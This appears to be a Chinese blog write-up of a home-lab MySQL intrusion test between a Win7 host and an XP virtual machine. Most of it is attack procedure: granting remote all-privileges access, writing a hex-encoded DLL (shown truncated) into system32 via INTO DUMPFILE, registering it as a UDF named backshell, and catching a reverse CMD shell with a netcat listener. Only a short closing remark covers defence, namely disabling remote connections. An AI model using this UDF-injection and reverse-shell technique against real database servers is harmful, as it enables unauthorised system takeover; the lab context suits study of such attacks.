在做了之前的SQL SERVER之後,便很想嘗試一下MYSQL的入侵測試已經防范,與大家一起分享。
總的來說,我一直在用的是MYSQL,對MYSQL比較熟悉,相比較而言,感覺MYSQL更安全,這只是我自己胡亂猜想的,希望不要引起什麼爭論神馬的。。。一本饅頭引發的血案。。。
正題之一
物理機:Win7
虛擬機:XP
給予mysql遠程權限:
復制代碼 代碼如下:
grant all privileges on *.* to 數據庫賬號@給予權限的IP identified by '數據庫密碼';
flush privileges;
給物理機遠程權限:
物理機成功連接上:
執行侵入測試前(有圖有真相):
執行侵入測試後(有圖有真相):
重啟前(有圖有真相):
重啟後(有圖有真相):
正題之二:
遠程登錄之後寫入代碼,代碼在yyd.txt當中,然後在MySql中寫入文件:
Win7 打另外一個cmd,本地端口映射:nc -vv -l -p 端口號
虛擬機上:執行映射:select backshell("物理機IP",端口號);
這便執行了3306端口反彈CMD
(沒圖了。。。用到了一個nc軟件執行的映射)
yyd.txt大概內容:
復制代碼 代碼如下:
et @a=concat('',
0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c0010090000000000000000000000000000000000000000000000000000000000.........只是部分代碼...............0736875745f6465696e697400736875745f696e697400);
create table yyd(data LONGBLOB);
insert into yyd values("");updateyyd set data = @a;
select data from yyd into DUMPFILE 'c:\\windows\\system32\\yyd.dll';
CREATE FUNCTION backshell RETURNS STRING SONAME 'yyd.dll';
正題之三:
防范
感覺有點亂,主要是分享了兩種方法入侵,但是防范那部分應該是XP上的MySql服務關閉,但是早XP上做了好多測試,左後XP被我弄掛掉了。。。。好丟臉,只好把Win7上的MySql服務拿出來了。
覺得主要還是遠程連接的問題,“如果MySql不開啟遠程連接的話我們還是朋友”,開玩笑,如果MySql不開啟遠程連接的話入侵幾率會小的很多。